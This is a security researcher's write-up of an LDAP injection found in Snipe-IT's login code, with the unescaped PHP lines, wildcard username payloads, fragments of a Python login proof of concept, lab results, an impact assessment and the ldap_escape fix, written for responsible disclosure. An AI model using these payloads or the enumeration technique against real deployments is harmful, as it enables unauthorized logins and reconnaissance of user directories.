Overview
Structured security code review is a practical and effective approach to finding real vulnerabilities. In this post I walk through how I applied a systematic review methodology to Snipe-IT, a popular open-source IT asset management platform, and how that approach led me directly to a working LDAP injection vulnerability.
The full disclosure write-up and Python PoC are linked at the end of the post.
The Review Methodology
I followed a structured security code review workflow built around six core steps:
- Map the attack surface - enumerate entry points from route definitions and controller registrations.
- Trace data flows from sources (HTTP parameters, headers, file uploads, external API responses) to dangerous sinks (database queries, command execution, HTML rendering, file system access).
- Check trust boundary crossings - every point where untrusted data crosses into a privileged operation.
- Apply OWASP and CWE checklists - the OWASP Top 10, API Top 10, and CWE Top 25 as reference material.
- Adopt an adversarial mindset - form a hypothesis (“I can bypass auth”), then work backwards to establish what conditions would make it exploitable.
- Map every finding to a CWE ID with evidence: the code location and the data flow that makes it exploitable.
Setting Up the Target
I ran Snipe-IT locally via Docker, with a real OpenLDAP server using the Planet Express test directory, a handy pre-populated LDAP instance with fictional Futurama characters as users.
# docker-compose snippet (LDAP service)
ldap:
image: rroemhild/test-openldap
ports:
- 389:389
The LDAP directory contains users like amy, bender, fry, hermes, leela, professor, and zoidberg, each with a matching password.
Snipe-IT was configured with:
| Setting | Value |
|---|---|
ldap_uname | cn=admin,dc=planetexpress,dc=com |
ldap_basedn | dc=planetexpress,dc=com |
ldap_filter | &(cn=*)(objectClass=inetOrgPerson) |
ldap_auth_filter_query | uid= |
ldap_username_field | uid |
The ldap_uname being set means Snipe-IT uses the MultiOU path. It first binds as an admin service account to search for the user, then re-binds as that user to verify the password. This path is what makes the injection interesting.
Step 1: Mapping the Attack Surface
Following the methodology, I started with the route definitions and traced inbound authentication requests to their handlers. The relevant entry points are:
POST /login->Auth\LoginController@loginGET|POST /ldap/sync-users->LdapController@ldapSyncUsers(authenticated)
The login method fans out based on configuration:
// LoginController.php (simplified)
if ($ldap_enabled) {
return $this->loginViaLdap($request);
}
if ($remote_user_enabled) {
return $this->loginViaRemoteUser($request);
}
// ... local auth fallback
The $request->input('username') value flows from the POST body straight into loginViaLdap, which calls Ldap::findAndBindUserLdap().
Step 2: Tracing the Data Flow to the Sink
With the adversarial framing in mind, “Can I authenticate without knowing the exact username?”, I traced $username through findAndBindUserLdap():
// app/Models/Ldap.php:216-218
$filterQuery = $settings->ldap_auth_filter_query . $username; // <-- no ldap_escape()
$filter = Setting::getSettings()->ldap_filter;
$filterQuery = "({$filter}({$filterQuery}))";
And again a few lines earlier for the legacy (non-MultiOU) path:
// app/Models/Ldap.php:198
$userDn = $ldap_username_field . '=' . $username . ',' . $settings->ldap_basedn; // <-- no ldap_escape()
Both code paths take $username, which is the raw, unsanitized value from the HTTP POST body, and concatenate it directly into either an LDAP filter string or a distinguished name string. Neither call uses PHP’s ldap_escape().
This is CWE-90: Improper Neutralization of Special Elements used in an LDAP Query.
What a Normal Login Looks Like
With username fry and the settings above, Snipe-IT constructs:
(&(cn=*)(objectClass=inetOrgPerson)(uid=fry))
This matches exactly one LDAP entry. Snipe-IT retrieves fry’s DN and attempts a bind with the supplied password. Success: authenticated.
What the Injection Looks Like
With username f*:
(&(cn=*)(objectClass=inetOrgPerson)(uid=f*))
The * is a wildcard in LDAP filter syntax. If exactly one entry has a uid starting with f, the filter returns that one entry. Snipe-IT then binds as that user with the supplied password, and if the password is correct, authentication succeeds, even though the submitted username was f* and not fry.
Step 3: Proving Exploitability
Confirming the Injection Path is Active
I first confirmed that the MultiOU path was active by reading the Snipe-IT settings from inside the Docker container:
docker exec snipe-it-app-1 /usr/bin/php8.3 artisan tinker --execute \
"echo Setting::first()->ldap_uname;"
# Output: cn=admin,dc=planetexpress,dc=com
A non-empty ldap_uname means the admin-bind-then-search flow is in use. ✓
Direct LDAP Verification
I verified the injected filter would return exactly one result using Python’s ldap3 library:
from ldap3 import Server, Connection, ALL
server = Connection(
Server('ldap://localhost', get_info=ALL),
user='cn=admin,dc=planetexpress,dc=com',
password='GoodNewsEveryone',
auto_bind=True
)
server.search(
'dc=planetexpress,dc=com',
'(&(cn=*)(objectClass=inetOrgPerson)(uid=f*))',
attributes=['uid', 'cn']
)
print(server.entries)
# Output: DN: cn=Philip J. Fry,ou=people,dc=planetexpress,dc=com - uid: fry
Exactly one result. The injection will work.
Step 4: Building the PoC
I wrote a Python script that uses the requests library to interact with Snipe-IT’s web login form directly, demonstrating the injection over HTTP.
Key Logic
def do_login(username: str, password: str) -> tuple[bool, str, str]:
session = requests.Session()
# Extract CSRF token from the login page
token = get_csrf(session)
r = session.post(
f"{TARGET}/login",
data={"_token": token, "username": username, "password": password},
allow_redirects=True,
timeout=20,
)
# Redirected away from /login = authenticated
success = r.status_code == 200 and "/login" not in r.url
return success, r.url, extract_username(r.text)
The LDAP filter Snipe-IT would construct is straightforward to reconstruct locally for display:
def build_filter(username: str) -> str:
return f"({LDAP_FILTER}({LDAP_AUTH_FILTER}{username}))"
# build_filter("f*") -> "(&(cn=*)(objectClass=inetOrgPerson)(uid=f*))"
Step 5: Running the PoC
Running the script against the local Snipe-IT instance confirmed the injection end-to-end.
Baseline
First, a normal login as amy/amy to confirm the environment was working:
[*] Step 1 - Baseline: exact username 'amy' / password 'amy'
[+] Result : AUTHENTICATED
Filter : (&(cn=*)(objectClass=inetOrgPerson)(uid=amy))
Wildcard Injection
Then the injection, username b* with Bender’s password:
[*] Step 2 - INJECTION: wildcard prefix 'b*' with Bender's password
Injected LDAP filter: (&(cn=*)(objectClass=inetOrgPerson)(uid=b*))
[+] AUTHENTICATED as a wildcard username!
Submitted username : 'b*'
Local user created : 'bender' (from LDAP attributes)
The session landed on the Snipe-IT dashboard authenticated as bender, with a local user record created from the LDAP attributes.
Full Results
| Submitted username | Password | Result |
|---|---|---|
f* | fry | AUTHENTICATED as fry |
h* | hermes | AUTHENTICATED as hermes |
l* | leela | AUTHENTICATED as leela |
p* | professor | AUTHENTICATED as professor |
z* | zoidberg | AUTHENTICATED as zoidberg |
Five of five users whose LDAP accounts had no prior local Snipe-IT account were successfully authenticated using a single-character wildcard prefix instead of their exact username.
Impact Assessment
The methodology explicitly calls for classifying findings by practical exploitability, not just theoretical risk. Here’s the honest breakdown:
What This IS
Authentication with partial username knowledge. An attacker who knows a user’s LDAP password but not their exact
uidcan authenticate using a wildcard prefix. This is realistic in environments with non-obvious uid schemes (employee IDs, UUIDs, first-initial-lastname patterns).LDAP username enumeration (unauthenticated). By submitting wildcard prefixes with a deliberately wrong password and measuring response timing or error differences, an attacker can determine which
uidprefixes exist in the directory, without any credentials at all.Arbitrary filter injection. More complex LDAP expressions (AND/OR/NOT operators, attribute conditions) can be injected. Combined with the fact that Snipe-IT writes matched LDAP attributes back to the local user record, this could be abused to overwrite a user’s profile data with another LDAP entry’s attributes.
What This Is NOT
A full authentication bypass without the target’s password is not possible under a correctly configured LDAP server. The bind step independently verifies the password. However, any LDAP server permitting anonymous (empty-password) binds would be fully compromised by this injection.
The Fix
PHP has provided ldap_escape() since PHP 5.6 specifically for this purpose. Two lines need to change:
// Line 216 - fix filter injection
// BEFORE:
$filterQuery = $settings->ldap_auth_filter_query . $username;
// AFTER:
$filterQuery = $settings->ldap_auth_filter_query
. ldap_escape($username, '', LDAP_ESCAPE_FILTER);
// Line 198 - fix DN injection (legacy path)
// BEFORE:
$userDn = $ldap_username_field . '=' . $username . ',' . $settings->ldap_basedn;
// AFTER:
$userDn = $ldap_username_field . '='
. ldap_escape($username, '', LDAP_ESCAPE_DN)
. ',' . $settings->ldap_basedn;
LDAP_ESCAPE_FILTER escapes the characters ( ) * \ NUL which are significant in LDAP filter expressions. LDAP_ESCAPE_DN escapes characters significant in distinguished names. After either escape, the submitted f* becomes f\2a, which the LDAP server treats as a literal asterisk in the username, not a wildcard.
Reflections on Structured Security Review
Applying a deliberate, structured methodology meaningfully changed how I approached this review:
Structure over instinct. Without a deliberate workflow, I might have skipped straight to “interesting” code. The insistence on mapping routes and tracing data flows from sources to sinks is what led me to findAndBindUserLdap(), a method that otherwise looks unremarkable at a glance.
Adversarial hypothesis first. Framing the question as “can I authenticate without knowing the exact username?” before reading the code made me look at the filter construction with fresh eyes. The missing ldap_escape() would have been easy to overlook reading top-to-bottom.
CWE mapping. Having to articulate exactly which CWE applies and why forces clarity. CWE-90 is specific: it requires that special elements reach an LDAP query. The exercise of tracing $_POST['username'] -> $request->input('username') -> $username -> $filterQuery -> ldap_search() makes the exploitability undeniable.
Structured methodology doesn’t do the thinking for you, but it enforces the discipline that makes the thinking effective.
Disclosure
This vulnerability was responsibly disclosed to the Snipe-IT development team. The team was responsive, professional, and a pleasure to work with throughout the entire process. They engaged with the report quickly and collaboratively, making for one of the smoother disclosure experiences I’ve had. A copy of the disclosure email and the full Python PoC script are in the repository alongside this post.
- Affected file:
app/Models/Ldap.php:198, 216-218 - Affected versions: Current
master/developat time of disclosure - Prerequisite: LDAP enabled with a service account (
ldap_uname) configured - CWE: CWE-90 - Improper Neutralization of Special Elements used in an LDAP Query